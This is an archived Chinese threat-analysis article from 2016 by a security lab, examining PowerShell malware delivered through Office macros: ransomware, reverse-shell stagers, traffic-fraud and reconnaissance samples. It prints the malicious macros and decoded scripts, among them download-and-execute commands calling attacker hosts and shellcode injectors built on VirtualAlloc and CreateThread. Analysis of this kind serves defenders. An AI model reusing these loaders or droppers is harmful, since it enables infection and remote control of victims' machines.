# Powershell恶意代码的N种姿势

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-04-11T06:14:00Z
Canonical: https://wepostx.com/topics/189

> 乌云历史资料归档
>
> **原始作者：** 360安全卫士
> **原始编号：** superkieran-wooyundrops:1142
> **原始发布时间：** 2016-04-11 14:14
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

Author:360天眼实验室

# 0x00 引言

人在做，天在看。
技术从来都是中性的，被用来行善还是作恶完全取决于运用它的人。原子能可以用来发电为大众提供清洁能源，也可以用来制造能毁灭全人类的核武器，这不是一个完善的世界，于是我们既有核电站也有了核武器。
Powershell，曾经Windows系统管理员的称手工具，在恶意代码制造和传播者手里也被玩得花样百出。由于Powershell的可执行框架部分是系统的组件不可能被查杀，而驱动它的脚本是非PE的而非常难以通过静态方法判定恶意性，同时脚本可以非常小巧而在系统底层的支持下功能却可以非常强大，这使利用Powershell的恶意代码绕过常规的病毒防护对系统为所欲为。因此，360天眼实验室近期看到此类恶意代码泛滥成灾就毫不奇怪，事实上，我们甚至看到所跟踪的APT团伙也开始转向Powershell。
本文我们向大家展示一些看到的实际恶意代码的例子。

# 0x01 实例分析

这里我们基于360威胁情报中心的数据，对接触到的Powershell恶意代码按分类各举一例。

### 勒索软件
我们知道现在勒索软件以其直接的变现方式现在已成为黑产的宠儿，像雨后春笋那样冒出来的勒索软件中，我们看到了使用纯Powershell脚本实现的例子。
样本MD5：ea7775da99367ac89f70f2a95c7f8e8e
这是一个通过Word文档中嵌入宏以诱导执行的勒索软件，使用工具提取出其中的宏，内容如下：

```text
#!vb "vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://rxlawyer.in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"
```
宏的功能是下载http://rxlawyer.in/file.php到本地的temp目录下，并用Powershell运行这个文件。而下载回来的file.php本质上是一个ps的脚本文件，MD5为：dd180477d6a0bb6ce3c29344546ebdfc 。
勒索者脚本的实现原理是：通过随机生成加密密钥与用户ID，将加密密钥与用户ID信息上传到服务器进行备份，在用户机器上使用对称算法将用户的文档进行加密。因为密钥为随机生成，除非拥有攻击者服务器上备份的密钥，否则很难将被加密的文档进行还原。
脚本的原貌为：

![原文图片](/media/2016/06/7fafa6b222ee96da385343b95193ce1a)

可见，脚本做了混淆处理，简单处理以后归纳出的脚本主要执行过程如下：
1.生成三个随机数，分别表示加密密钥、加密用的盐、UUID

![原文图片](/media/2016/06/87c5e17b2535a994830650810249a4f6)

把上面生成随机数发送到服务器中保存

![原文图片](/media/2016/06/d9094ecb6e30662ced5c5f994d8b69d2)

2.用随机数生成加密容器

![原文图片](/media/2016/06/8e31b6a599981185e33526ba8e5c88b7)

![原文图片](/media/2016/06/732bb3fff2ecf0852214c806e2110bfd)

3.得到磁盘中的所有的指定后缀的文件
调用Get-PSDrive，得到所有文件名

```text
#!powershell $folder= gdr|where {$_.Free}|Sort-Object -Descending
```

![原文图片](/media/2016/06/33f08541245f1130ca5678166ba4984e)

4.加密这些文件的前2048个字节后写回文件

![原文图片](/media/2016/06/5d4096b861ea5bd95f73c633ab400b1e)

5.解码Base64得到提示勒索的html文件

![原文图片](/media/2016/06/86c5575d6b4eea742372e3e33a6e7690)

在html文件的尾部添加上赎回密钥用的UUID及当前时间

![原文图片](/media/2016/06/5d2e23f13c13051b116175ba3143c5b1)

### 渗透测试
此类样本大多使用网络上的nishang开源工具包生成的攻击文件。攻击文件以Word、Excel、CHM、LNK等格式的文件为载体，嵌入Payload，实现获得反弹Shell等功能，实现对系统的控制。
样本MD5：929d104ae3f02129bbf9fa3c5cb8f7a1
文件打开后，会显示文件损坏，用来迷惑用户，Word中的宏却悄然运行了。

![原文图片](/media/2016/06/42b9d1b350ea667d556e65750ae41791)

宏的内容为：

```text
#!vb Sub AutoOpen() Dim x x = "powershell -window hidden -enc JAAxACA[……]APQA” _ & "wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A" Shell ("POWERSHELL.EXE " & x) Dim title As String title = "Critical Microsoft Office Error" Dim msg As String Dim intResponse As Integer msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup." intResponse = MsgBox(msg, 16, title) Application.Quit End Sub
```
将宏中的字符串，用Base64解码后，得到内容如下：

```text
#!powershell $1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}
```
将其中的shellcode提取出来进行分析得知，这段shellcode的主要功能是反向连接内网IP 192.168.1.30的4444端口。

![原文图片](/media/2016/06/ff174eb73093452b58444c92165973a8)

另一个与上述样本有着类似功能的样本的MD5为：1e39753fd56f17010ac62b1d84b5e650
从文件中提取出来的宏为：

![原文图片](/media/2016/06/36a7241a083b2d19d98b826a00376d0b)

而这四个函数对应的功能分别为

- Execute：
用Powershell下载invoke-shellcode.ps后，通过invoke-shellcode函数调用指定Payload windows/meterpreter/reverse_https 建立反弹shell，反弹的地址为98.100.108.133，端口为443
其中部分代码为：

![原文图片](/media/2016/06/47f2db0eced3b57354d4718841785158)

- Persist：
将Powershell建立反弹Shell的功能用VBS实现后，保存在C:\Users\Public\10-D.vbs文件中

- Reg
新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注册表，值指定为C:\Users\Public\10-D.vbs

- Start
调用C:\Users\Public\10-D.vbs
而有时，为了抵抗杀毒软件的追杀，样本通常会进行Base64编码。
MD5：c49ee3fb4897dd1cdab1d0ae4fe55988
下面为提取出来的宏内容，可见代码使用了Base64编码：

```text
#!vb "vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
```
解码后的内容为：

```text
#!vb $q = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP arameter, uint dwCreationFlags, IntPtr lpThreadId); "@ try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)} function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient; $m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://192.168.0.105:4444/$n " ) $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
```
脚本的功能是通过g函数随机生成四位的字符，从内网网址下载后加载执行https://192.168.0.105:4444/xxxx（其中xxxx为随机四位字符）
这里连接的是192.168.0.105为内网IP，此样本很可能是渗透者进行内网渗透攻击的测试样本。此类样本还有很多：

- eae0906f98568c5fb25b2bb32b1dbed7

![原文图片](/media/2016/06/266fed8899c36cd6888bea1532762288)

- 1a42671ce3b2701956ba49718c9e118e

![原文图片](/media/2016/06/67fcc55a09788ca5a89797ed05d59058)

- 496ed16e636203fa0eadbcdc182b0e85

![原文图片](/media/2016/06/4ab3ae6d036d9ca5cc8478c32c3b4b87)

使用LNK文件，建立反弹shell的样本

![原文图片](/media/2016/06/8ddbcc2c8ffc1815408b6351d6028602)

### 流量欺骗
为了快速提升网站流量、Alexa排名、淘宝网店访问量、博客人气、每日访问IP、PV、UV等，有些网站站长会采取非常规的引流方法，采用软件在后台模拟人正常访问网页的点击动作而达到提升流量的目的。
样本MD5：5f8dc4db8a658b7ba185c2f038f3f075
文档打开后里面只有“test by c”这几个文字

![原文图片](/media/2016/06/cf8d5b56702c50a1df2a4b91ef97f0a6)

提取出文档中的宏中的加密字符解密后得到可读的ps脚本如下

```text
#!powershell $1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}
```
可见，ps脚本的主要功能就是执行Shellcode，这段Shellcode的功能就是调用wininet.dll中的函数进行连接138.128.196.84地址的443端口。而138.128.196.84地址正为流量宝类的软件用的地址。

![原文图片](/media/2016/06/ad96955c158ca30f67a4414755eebd91)

### 探测控制
样本对通过宏调用Powershell下载PE文件在受影响的系统上检查是否为关心的目标并执行进一步地操作，具备针对性攻击的特点。
样本MD5：fba6b329876533f28d317e60fe53c8d3
从样本中抽取出的宏主要是根据系统版本下载相应的文件执行

```text
#!vb Sub AutoOpen() x1 = "Download" h = "Str" o = "power" & "shell" & ".exe" Const HIDDEN_WINDOW = 0 strComputer = "." abcdef = h & "ing" Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create o & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID
```
其中的对应32位系统的cache文件的内容如下：

![原文图片](/media/2016/06/db4d0d999678b14597aa7b280a3f48eb)

我们对Shellcode进行简单分析：
1.在内存中解密，生成一个PE文件，在内存中展开跳到入口点处执行，将PE文件的.BSS区段进行解码，解码算法如下：

![原文图片](/media/2016/06/e97bb75b5707e05623835328cb124200)

![原文图片](/media/2016/06/2e18093d252ef72225d1dd0a29b5f85b)

解密后的结果为：

![原文图片](/media/2016/06/28ecd3bfbc47a8f38436721bd96e4ae6)

2.判断是不是64位系统

![原文图片](/media/2016/06/fa6cea62c310eb92dd8ec66092491881)

判断虚拟机

![原文图片](/media/2016/06/4acf2f2d2d2b3168a64c354ede18e135)

![原文图片](/media/2016/06/7d416cf678520bf61af9c32a81fda87e)

3.用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍历IE临时文件目录 ，用于判断用户是否是攻击者的目标用户

![原文图片](/media/2016/06/12f361986e36459ffa183a63b8fec83f)

![原文图片](/media/2016/06/cff1e83ef29fd4ddc7352e47389ed1c4)

4.计算用户和电脑信息的HASH

![原文图片](/media/2016/06/274c0fbfedef879106b228eb15a0b7d9)

随后B03938处创建线程进行下面的动作
判断ipconfig -all命令中是否有.edu、school、hospital、colledge、health、nurse等字符串

![原文图片](/media/2016/06/26b1072b6547e99f38f123de31e32ade)

调用cmd /C ""ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP(xxx代表随机数)生成文件，检测.edu、school、hospital、colledge、health、nurse等字符串

![原文图片](/media/2016/06/d26b8e490d03d95cebad915d475346ed)

![原文图片](/media/2016/06/618c21ea33bbea7cd839cd5eba5db1b9)

5.遍历系统中的进程，检测有否指定hash的进程正在运行

![原文图片](/media/2016/06/ef8d42d23e84401a855765271bd23e76)

从IE缓存中查找用户是不是访问过这些网址：
通过WININET.FindFirstUrlCacheEntryW , WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache

![原文图片](/media/2016/06/8eb2b51be01ba4837bc9414569aeff2b)

得到net view命令返回值中是否有pos、store、shop、sale等字符串

![原文图片](/media/2016/06/daa51ee8143845659ea291cfbce9f90f)

发送用户信息，并下载相对应的恶意程序：

![原文图片](/media/2016/06/584290348e07c7c9a5aa49042bfae856)

其中，用这种手法的恶意样本还有如下：
样本HASH系统版本下载地址
f0483b9cfb8deb7ff97962b30fc779ad32位https://github.com/flowsdem/found/raw/master/rost
64位https://github.com/flowsdem/found/raw/master/virst
fba6b329876533f28d317e60fe53c8d332位http://rabbitons.pw/cache
64位http://rabbitons.pw/css
62967bf585eef49f065bac233b506b3632位https://github.com/minifl147/flue/raw/master/memo
64位https://github.com/minifl147/flue/raw/master/adv

### 信息搜集
样本中的宏代码下载执行信息收集类的Powershell脚本，很可能是某些针对性攻击的前导。
样本MD5：f7c3c7df2e7761eceff991bf457ed5b9
提取出来的宏代码为：

![原文图片](/media/2016/06/9d6cc0ca44ed5f86cd60db032f3708a8)

下载一个名为Get-Info-2.ps1的脚本，脚本功能是将本机的IP地址、domainname、username、usbid等发送到远端服务器中。

![原文图片](/media/2016/06/5c16894349da327a953891f2c747fb7c)

# 0x02 总结

天眼实验室再次提醒用户，此类恶意软件主要依赖通过微软的Office文档传播，用户应该确保宏不默认启用，提防任何来自不受信任来源的文件，当打开文件系统提示要使用宏时务必慎重。同时要尽量选用可靠的安全软件进行防范，如无必要不要关闭安全软件，当发现系统出现异常情况，应及时查杀木马，尽可能避免各类恶意代码的骚扰。

# 0x03 参考资料

- [http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml](http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml)

- [https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/](https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/)

- [https://www.10dsecurity.com/](https://www.10dsecurity.com/)

## Replies
